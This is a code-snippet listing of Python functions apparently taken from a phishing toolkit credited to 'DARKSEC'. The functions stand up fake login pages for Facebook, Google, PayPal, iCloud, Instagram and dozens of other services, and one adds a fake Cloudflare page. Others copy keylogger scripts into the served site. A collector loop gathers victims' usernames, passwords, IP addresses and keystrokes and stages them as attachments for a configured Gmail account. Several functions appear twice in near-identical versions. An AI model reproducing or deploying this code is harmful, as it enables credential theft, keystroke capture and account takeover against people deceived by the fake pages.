Ejemplo n.º 1
0
def captured_data_email_configuration_prompt():
    run_command("clear")
    print("""{1}
        _  _ . ___  ___  ___ _  _  {0}___ _  _ ___{1}
        |__| | ]  | ]  | |__ |\ |  {0}|__ \__/ |__{1}
        |  | | ]__| ]__| |__ | \|  {0}|__  ||  |__{1}
        {1}http://github.com/darksecdevelopers
        {0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
                                             default_palette[2]))
    print(
        "-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------"
        .format(default_palette[0], default_palette[4]))
    # run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
    copyfile(
        "Defs/FeatureManager/EmailManager/EmailConfigDefault.py",
        "Defs/FeatureManager/EmailManager/emailconfig.py",
    )
    GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(
        default_palette[0], default_palette[4]))
    with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
        read_data = f.read()
        c = read_data.replace("GMAILACCOUNT", GMAILACCOUNT)
        f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
        f.write(c)
        f.close()
        print("{0}[.] {1}Email Address Added To config File. !\n".format(
            default_palette[0], default_palette[4]))
    GMAILPASSWORD = getpass.getpass(
        "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(
            default_palette[0], default_palette[4]))
    with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
        read_data = f.read()
        GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
        GMAILPASSWORD = GMAILPASSWORD.decode("utf-8")
        c = read_data.replace("GMAILPASSWORD", GMAILPASSWORD)
        f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
        f.write(c)
        f.close()
        print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(
            default_palette[0], default_palette[4]))
    RECIPIENTEMAIL = input("{0}[{1}+{0}] Enter Recipient Email:{1} ".format(
        default_palette[0], default_palette[4]))
    with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
        read_data = f.read()
        c = read_data.replace("RECIPIENTEMAIL", RECIPIENTEMAIL)
        f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
        f.write(c)
        f.close()
        print("{0}[.] {1}Recipient Email Address Added To config File. !\n".
              format(default_palette[0], default_palette[4]))
        print(
            "\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)"
            .format(default_palette[0], default_palette[4]))
Ejemplo n.º 2
0
def add_cloudfare():
    #run_command('mv Server/www/index.* Server/www/home.php &
    # & cp WebPages/cloudfare.html Server/www/index.html')
    chmod('Server', 0o777)
    chmod('Server/www', 0o777)
    try:
        replace('Server/www/index.php', 'Server/www/home.php')
    except:
        replace('Server/www/index.html', 'Server/www/home.php')
    else:
        print('Unable to find index file, skipping...')
        return
    copyfile('WebPages/cloudflare.html', 'Server/www/index.html')
    print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4]))
    wait(1)
Ejemplo n.º 3
0
def start_phishing_page(page, custom_option):  # Phishing pages selection menu
    #chmod('Server', 777)
    run_command(['chmod', '-R', '777', 'Server'])
    rmtree("Server/www", onerror=simple_informant.remove_readonly)
    mkdir('Server/www')
    #chmod('Server/www', 777)
    pathlib_Path('Server/www/usernames.txt').touch()
    pathlib_Path('Server/www/ip.txt').touch()
    copyfile('WebPages/ip.php', 'Server/www/ip.php')
    copyfile('WebPages/KeyloggerData.txt', 'Server/www/KeyloggerData.txt')
    copyfile('WebPages/keylogger.js', 'Server/www/keylogger.js')
    copyfile('WebPages/keylogger.php', 'Server/www/keylogger.php')
    try:
        remove('link.url')
    except:
        pass

    if custom_option == '1' and page == 'Facebook':
        webpage_set("WebPages/fb_standard/", "Server/www/")
    elif custom_option == '2' and page == 'Facebook':
        webpage_set("WebPages/fb_advanced_poll/", "Server/www/")
    elif custom_option == '3' and page == 'Facebook':
        webpage_set("WebPages/fb_security_fake/", "Server/www/")
    elif custom_option == '4' and page == 'Facebook':
        webpage_set("WebPages/fb_messenger/", "Server/www/")
    elif custom_option == '1' and page == 'Google':
        webpage_set("WebPages/google_standard/", "Server/www/")
    elif custom_option == '2' and page == 'Google':
        webpage_set("WebPages/google_advanced_poll/", "Server/www/")
    elif custom_option == '3' and page == 'Google':
        webpage_set("WebPages/google_advanced_web/", "Server/www/")
    elif page == 'LinkedIn':
        webpage_set("WebPages/linkedin/", "Server/www/")
    elif page == 'GitHub':
        webpage_set("WebPages/GitHub/", "Server/www/")
    elif page == 'StackOverflow':
        webpage_set("WebPages/stackoverflow/", "Server/www/")
    elif page == 'WordPress':
        webpage_set("WebPages/wordpress/", "Server/www/")
    elif page == 'Twitter':
        webpage_set("WebPages/twitter/", "Server/www/")
    elif page == 'Snapchat':
        webpage_set("WebPages/Snapchat_web/", "Server/www/")
    elif page == 'Yahoo':
        webpage_set("WebPages/yahoo_web/", "Server/www/")
    elif page == 'Twitch':
        webpage_set("WebPages/twitch/", "Server/www/")
    elif page == 'Microsoft':
        webpage_set("WebPages/live_web/", "Server/www/")
    elif page == 'Steam':
        webpage_set("WebPages/steam/", "Server/www/")
    elif page == 'iCloud':
        webpage_set("WebPages/iCloud/", "Server/www/")
    elif custom_option == '1' and page == 'Instagram':
        webpage_set("WebPages/Instagram_web/", "Server/www/")
    elif custom_option == '2' and page == 'Instagram':
        webpage_set("WebPages/Instagram_autoliker/", "Server/www/")
    elif custom_option == '3' and page == 'Instagram':
        webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/")
    elif custom_option == '4' and page == 'Instagram':
        webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/")
    elif custom_option == '5' and page == 'Instagram':
        webpage_set("WebPages/instafollowers/", "Server/www/")
    elif custom_option == '1' and page == 'VK':
        webpage_set("WebPages/VK/", "Server/www/")
    elif custom_option == '2' and page == 'VK':
        webpage_set("WebPages/VK_poll_method/", "Server/www/")
    elif page == 'GitLab':
        webpage_set("WebPages/gitlab/", "Server/www/")
    elif page == 'NetFlix':
        webpage_set("WebPages/netflix/", "Server/www/")
    elif page == 'Origin':
        webpage_set("WebPages/origin/", "Server/www/")
    elif page == 'Pinterest':
        webpage_set("WebPages/pinterest/", "Server/www/")
    elif page == 'ProtonMail':
        webpage_set("WebPages/protonmail/", "Server/www/")
    elif page == 'Spotify':
        webpage_set("WebPages/spotify/", "Server/www/")
    elif page == 'Quora':
        webpage_set("WebPages/quora/", "Server/www/")
    elif page == 'PornHub':
        webpage_set("WebPages/pornhub/", "Server/www/")
    elif page == 'Adobe':
        webpage_set("WebPages/adobe/", "Server/www/")
    elif page == 'Badoo':
        webpage_set("WebPages/badoo/", "Server/www/")
    elif page == 'CryptoCurrency':
        webpage_set("WebPages/cryptocurrency/", "Server/www/")
    elif page == 'DevianArt':
        webpage_set("WebPages/devianart/", "Server/www/")
    elif page == 'DropBox':
        webpage_set("WebPages/dropbox/", "Server/www/")
    elif page == 'eBay':
        webpage_set("WebPages/ebay/", "Server/www/")
    elif page == 'Myspace':
        webpage_set("WebPages/myspace/", "Server/www/")
    elif page == 'PayPal':
        webpage_set("WebPages/paypal/", "Server/www/")
    elif page == 'Shopify':
        webpage_set("WebPages/shopify/", "Server/www/")
    elif page == 'Verizon':
        webpage_set("WebPages/verizon/", "Server/www/")
    elif page == 'Yandex':
        webpage_set("WebPages/yandex/", "Server/www/")
    elif custom_option == '1' and page == 'Reddit':
        webpage_set("WebPages/Reddit/", "Server/www/")
    elif custom_option == '2' and page == 'Reddit':
        webpage_set("WebPages/Reddit-old/", "Server/www/")
    elif page == 'Subitoit':
        webpage_set("WebPages/subitoit/", "Server/www/")
    elif page == 'PlayStation':
        webpage_set('WebPages/playstation/', "Server/www/")
    elif page == 'Xbox':
        webpage_set('WebPages/xbox/', "Server/www/")
    elif page == 'CUSTOM(1)':
        print(localization.lang_start_phishing_page["custom_folder_directory"].
              format(page=page))
        print(
            localization.lang_start_phishing_page["manual_reading_suggestion"].
            format(page=page))
        input(localization.lang_start_phishing_page[
            "press_enter_to_contunue_if_setup_correctly"])
        print(localization.lang_start_phishing_page["copying_your_files"])
        wait(3)
        webpage_set('WebPages/CUSTOM(1)/', "Server/www/")
    elif page == 'CUSTOM(2)':
        print(localization.lang_start_phishing_page["custom_folder_directory"].
              format(page=page))
        print(
            localization.lang_start_phishing_page["manual_reading_suggestion"].
            format(page=page))
        input(localization.lang_start_phishing_page[
            "press_enter_to_contunue_if_setup_correctly"])
        print(localization.lang_start_phishing_page["copying_your_files"])
        wait(3)
        webpage_set('WebPages/CUSTOM(2)/', "Server/www/")

    # Tools Below && Phishing Pages Above
    elif custom_option == '1' and page == 'LOCATION':
        wait(3)
        webpage_set('WebPages/TOOLS/nearyou', "Server/www/")
        print(localization.lang_start_phishing_page["https_suggestion"])
        input(localization.lang_start_phishing_page[
            "press_enter_to_contunue_if_setup_correctly"])
    elif custom_option == '2' and page == 'LOCATION':
        wait(3)
        webpage_set('WebPages/TOOLS/gdrive', "Server/www/")
        print(localization.lang_start_phishing_page["https_suggestion"])
        print(localization.lang_start_phishing_page["gdrive_suggestion"])
        input(localization.lang_start_phishing_page[
            "press_enter_to_contunue_if_setup_correctly"])

    else:
        run_command('clear')
        print("Please choose a valid option")
        time.sleep(1)
        start_main_menu()
Ejemplo n.º 4
0
def start_phishing_page(page, custom_option):  # Phishing pages selection menu
    run_command(["chmod", "-R", "777", "Server"])
    rmtree("Server/www", onerror=simple_informant.remove_readonly)
    mkdir("Server/www")
    pathlib_Path("Server/www/usernames.txt").touch()
    pathlib_Path("Server/www/ip.txt").touch()
    copyfile("WebPages/ip.php", "Server/www/ip.php")
    copyfile("WebPages/KeyloggerData.txt", "Server/www/KeyloggerData.txt")
    copyfile("WebPages/keylogger.js", "Server/www/keylogger.js")
    copyfile("WebPages/keylogger.php", "Server/www/keylogger.php")
    try:
        remove("link.url")
    except FileNotFoundError:
        pass

    if custom_option == "1" and page == "Facebook":
        webpage_set("WebPages/fb_standard/", "Server/www/")
    elif custom_option == "2" and page == "Facebook":
        webpage_set("WebPages/fb_advanced_poll/", "Server/www/")
    elif custom_option == "3" and page == "Facebook":
        webpage_set("WebPages/fb_security_fake/", "Server/www/")
    elif custom_option == "4" and page == "Facebook":
        webpage_set("WebPages/fb_messenger/", "Server/www/")
    elif custom_option == "1" and page == "Google":
        webpage_set("WebPages/google_standard/", "Server/www/")
    elif custom_option == "2" and page == "Google":
        webpage_set("WebPages/google_advanced_poll/", "Server/www/")
    elif custom_option == "3" and page == "Google":
        webpage_set("WebPages/google_advanced_web/", "Server/www/")
    elif page == "LinkedIn":
        webpage_set("WebPages/linkedin/", "Server/www/")
    elif page == "GitHub":
        webpage_set("WebPages/GitHub/", "Server/www/")
    elif page == "StackOverflow":
        webpage_set("WebPages/stackoverflow/", "Server/www/")
    elif page == "WordPress":
        webpage_set("WebPages/wordpress/", "Server/www/")
    elif page == "Twitter":
        webpage_set("WebPages/twitter/", "Server/www/")
    elif page == "Snapchat":
        webpage_set("WebPages/Snapchat_web/", "Server/www/")
    elif page == "Yahoo":
        webpage_set("WebPages/yahoo_web/", "Server/www/")
    elif page == "Twitch":
        webpage_set("WebPages/twitch/", "Server/www/")
    elif page == "Microsoft":
        webpage_set("WebPages/live_web/", "Server/www/")
    elif page == "Steam":
        webpage_set("WebPages/steam/", "Server/www/")
    elif page == "iCloud":
        webpage_set("WebPages/iCloud/", "Server/www/")
    elif custom_option == "1" and page == "Instagram":
        webpage_set("WebPages/Instagram_web/", "Server/www/")
    elif custom_option == "2" and page == "Instagram":
        webpage_set("WebPages/Instagram_autoliker/", "Server/www/")
    elif custom_option == "3" and page == "Instagram":
        webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/")
    elif custom_option == "4" and page == "Instagram":
        webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/")
    elif custom_option == "5" and page == "Instagram":
        webpage_set("WebPages/instafollowers/", "Server/www/")
    elif custom_option == "1" and page == "VK":
        webpage_set("WebPages/VK/", "Server/www/")
    elif custom_option == "2" and page == "VK":
        webpage_set("WebPages/VK_poll_method/", "Server/www/")
    elif page == "GitLab":
        webpage_set("WebPages/gitlab/", "Server/www/")
    elif page == "NetFlix":
        webpage_set("WebPages/netflix/", "Server/www/")
    elif page == "Origin":
        webpage_set("WebPages/origin/", "Server/www/")
    elif page == "Pinterest":
        webpage_set("WebPages/pinterest/", "Server/www/")
    elif page == "ProtonMail":
        webpage_set("WebPages/protonmail/", "Server/www/")
    elif page == "Spotify":
        webpage_set("WebPages/spotify/", "Server/www/")
    elif page == "Quora":
        webpage_set("WebPages/quora/", "Server/www/")
    elif page == "PornHub":
        webpage_set("WebPages/pornhub/", "Server/www/")
    elif page == "Adobe":
        webpage_set("WebPages/adobe/", "Server/www/")
    elif page == "Badoo":
        webpage_set("WebPages/badoo/", "Server/www/")
    elif page == "CryptoCurrency":
        webpage_set("WebPages/cryptocurrency/", "Server/www/")
    elif page == "DevianArt":
        webpage_set("WebPages/devianart/", "Server/www/")
    elif page == "DropBox":
        webpage_set("WebPages/dropbox/", "Server/www/")
    elif page == "eBay":
        webpage_set("WebPages/ebay/", "Server/www/")
    elif page == "Myspace":
        webpage_set("WebPages/myspace/", "Server/www/")
    elif page == "PayPal":
        webpage_set("WebPages/paypal/", "Server/www/")
    elif page == "Shopify":
        webpage_set("WebPages/shopify/", "Server/www/")
    elif page == "Verizon":
        webpage_set("WebPages/verizon/", "Server/www/")
    elif page == "Yandex":
        webpage_set("WebPages/yandex/", "Server/www/")
    elif custom_option == "1" and page == "Reddit":
        webpage_set("WebPages/Reddit/", "Server/www/")
    elif custom_option == "2" and page == "Reddit":
        webpage_set("WebPages/Reddit-old/", "Server/www/")
    elif page == "Subitoit":
        webpage_set("WebPages/subitoit/", "Server/www/")
    elif page == "PlayStation":
        webpage_set("WebPages/playstation/", "Server/www/")
    elif page == "Xbox":
        webpage_set("WebPages/xbox/", "Server/www/")
    elif page == "CUSTOM(1)":
        print(localization.lang_start_phishing_page["custom_folder_directory"].
              format(page=page))
        print(
            localization.lang_start_phishing_page["manual_reading_suggestion"].
            format(page=page))
        input(localization.lang_start_phishing_page[
            "press_enter_to_continue_if_setup_correctly"])
        print(localization.lang_start_phishing_page["copying_your_files"])
        wait(3)
        webpage_set("WebPages/CUSTOM(1)/", "Server/www/")
    elif page == "CUSTOM(2)":
        print(localization.lang_start_phishing_page["custom_folder_directory"].
              format(page=page))
        print(
            localization.lang_start_phishing_page["manual_reading_suggestion"].
            format(page=page))
        input(localization.lang_start_phishing_page[
            "press_enter_to_continue_if_setup_correctly"])
        print(localization.lang_start_phishing_page["copying_your_files"])
        wait(3)
        webpage_set("WebPages/CUSTOM(2)/", "Server/www/")

    # Tools Below && Phishing Pages Above
    elif custom_option == "1" and page == "LOCATION":
        wait(3)
        webpage_set("WebPages/TOOLS/nearyou", "Server/www/")
        print(localization.lang_start_phishing_page["https_suggestion"])
        input(localization.lang_start_phishing_page[
            "press_enter_to_continue_if_setup_correctly"])
    elif custom_option == "2" and page == "LOCATION":
        wait(3)
        webpage_set("WebPages/TOOLS/gdrive", "Server/www/")
        print(localization.lang_start_phishing_page["https_suggestion"])
        print(localization.lang_start_phishing_page["gdrive_suggestion"])
        input(localization.lang_start_phishing_page[
            "press_enter_to_continue_if_setup_correctly"])

    else:
        run_command("clear")
        print("Please choose a valid option")
        time.sleep(1)
        start_main_menu()
Ejemplo n.º 5
0
def credentials_collector(port):

    print(localization.lang_credentials_collector["waiting_for_interaction"])
    while True:
        with open('Server/www/usernames.txt') as creds:
            lines = creds.read().rstrip()
            if len(lines) != 0:
                log_writer(localization.
                           lang_credentials_collector["credentials_found"] +
                           "{0}{2}{1}".format(default_palette[2],
                                              default_palette[3], lines))
                #run_command("touch Server/CapturedData/usernames.txt
                pathlib_Path("Server/CapturedData/usernames.txt").touch(
                    mode=0o777, exist_ok=True)

                # && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt
                captured_usernames = open('Server/CapturedData/usernames.txt',
                                          'a')
                new_usernames = open('Server/www/usernames.txt')
                captured_usernames.write(new_usernames.read())
                new_usernames.close()
                captured_usernames.close()
                # && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt
                copyfile(
                    'Server/CapturedData/usernames.txt',
                    'Defs/FeatureManager/EmailManager/attachments/usernames.txt'
                )

                # && echo -n '' > Server/www/usernames.txt")
                new_usernames = open('Server/www/usernames.txt', 'w')
                new_usernames.write('')
                new_usernames.close()

        with open('Server/www/ip.txt') as creds:
            lines = creds.read().rstrip()
            if len(lines) != 0:
                log_writer(localization.
                           lang_credentials_collector["device_details_found"] +
                           "{0}{2}{1}".format(default_palette[2],
                                              default_palette[3], lines))
                #run_command('touch Server/CapturedData/ip.txt
                pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777,
                                                                 exist_ok=True)
                # && cat Server/www/ip.txt >> Server/CapturedData/ip.txt
                captured_ips = open('Server/CapturedData/ip.txt', 'a')
                new_ips = open('Server/www/ip.txt')
                captured_ips.write(new_ips.read())
                new_ips.close()
                captured_ips.close()
                # && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt
                copyfile(
                    'Server/CapturedData/ip.txt',
                    'Defs/FeatureManager/EmailManager/attachments/ip.txt')
                # && rm -rf Server/www/ip.txt
                new_ips = open('Server/www/ip.txt', 'w')
                # && touch Server/www/ip.txt')
                new_ips.write('')
                new_ips.close()

        creds.close()

        with open('Server/www/KeyloggerData.txt') as creds:
            lines = creds.read().rstrip()
            if len(lines) != 0:
                log_writer(global_localization.line_of_dots)
                log_writer(localization.
                           lang_credentials_collector["getting_pressed_keys"] +
                           "{0}{2}{1}".format(default_palette[2],
                                              default_palette[3], lines))
                #run_command('touch Server/CapturedData/KeyloggerData.txt
                pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(
                    mode=0o777, exist_ok=True)
                # && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt
                captured_keys = open('Server/CapturedData/KeyloggerData.txt',
                                     'a')
                new_keys = open('Server/www/KeyloggerData.txt')
                captured_keys.write(new_keys.read())
                new_keys.close()
                captured_keys.close()
                # && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt
                copyfile(
                    'Server/CapturedData/KeyloggerData.txt',
                    'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt'
                )
                # && rm -rf Server/www/KeyloggerData.txt
                new_keys = open('Server/www/KeyloggerData.txt', 'w')
                # && touch Server/www/KeyloggerData.txt')
                new_keys.write('')
                new_keys.close()

                log_writer(global_localization.line_of_dots)

        creds.close()
Ejemplo n.º 6
0
def credentials_collector():
    """Collects, writes and returns credentials and additional info gathered from target."""
    print(localization.lang_credentials_collector["waiting_for_interaction"])
    while True:
        with open("Server/www/usernames.txt") as creds:
            lines = creds.read().rstrip()
            if len(lines) != 0:
                log_writer(localization.
                           lang_credentials_collector["credentials_found"] +
                           "{0}{2}{1}".format(default_palette[2],
                                              default_palette[3], lines))
                pathlib_Path("Server/CapturedData/usernames.txt").touch(
                    mode=0o777, exist_ok=True)
                captured_usernames = open("Server/CapturedData/usernames.txt",
                                          "a")
                new_usernames = open("Server/www/usernames.txt")
                captured_usernames.write(new_usernames.read())
                new_usernames.close()
                captured_usernames.close()
                copyfile(
                    "Server/CapturedData/usernames.txt",
                    "Defs/FeatureManager/EmailManager/attachments/usernames.txt",
                )

                new_usernames = open("Server/www/usernames.txt", "w")
                new_usernames.write("")
                new_usernames.close()

        with open("Server/www/ip.txt") as creds:
            lines = creds.read().rstrip()
            if len(lines) != 0:
                log_writer(localization.
                           lang_credentials_collector["device_details_found"] +
                           "{0}{2}{1}".format(default_palette[2],
                                              default_palette[3], lines))
                pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777,
                                                                 exist_ok=True)
                captured_ips = open("Server/CapturedData/ip.txt", "a")
                new_ips = open("Server/www/ip.txt")
                captured_ips.write(new_ips.read())
                new_ips.close()
                captured_ips.close()
                copyfile(
                    "Server/CapturedData/ip.txt",
                    "Defs/FeatureManager/EmailManager/attachments/ip.txt",
                )
                new_ips = open("Server/www/ip.txt", "w")
                new_ips.write("")
                new_ips.close()

        creds.close()

        with open("Server/www/KeyloggerData.txt") as creds:
            lines = creds.read().rstrip()
            if len(lines) != 0:
                log_writer(global_localization.line_of_dots)
                log_writer(localization.
                           lang_credentials_collector["getting_pressed_keys"] +
                           "{0}{2}{1}".format(default_palette[2],
                                              default_palette[3], lines))
                pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch(
                    mode=0o777, exist_ok=True)
                captured_keys = open("Server/CapturedData/KeyloggerData.txt",
                                     "a")
                new_keys = open("Server/www/KeyloggerData.txt")
                captured_keys.write(new_keys.read())
                new_keys.close()
                captured_keys.close()
                copyfile(
                    "Server/CapturedData/KeyloggerData.txt",
                    "Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt",
                )
                new_keys = open("Server/www/KeyloggerData.txt", "w")
                new_keys.write("")
                new_keys.close()

                log_writer(global_localization.line_of_dots)

        creds.close()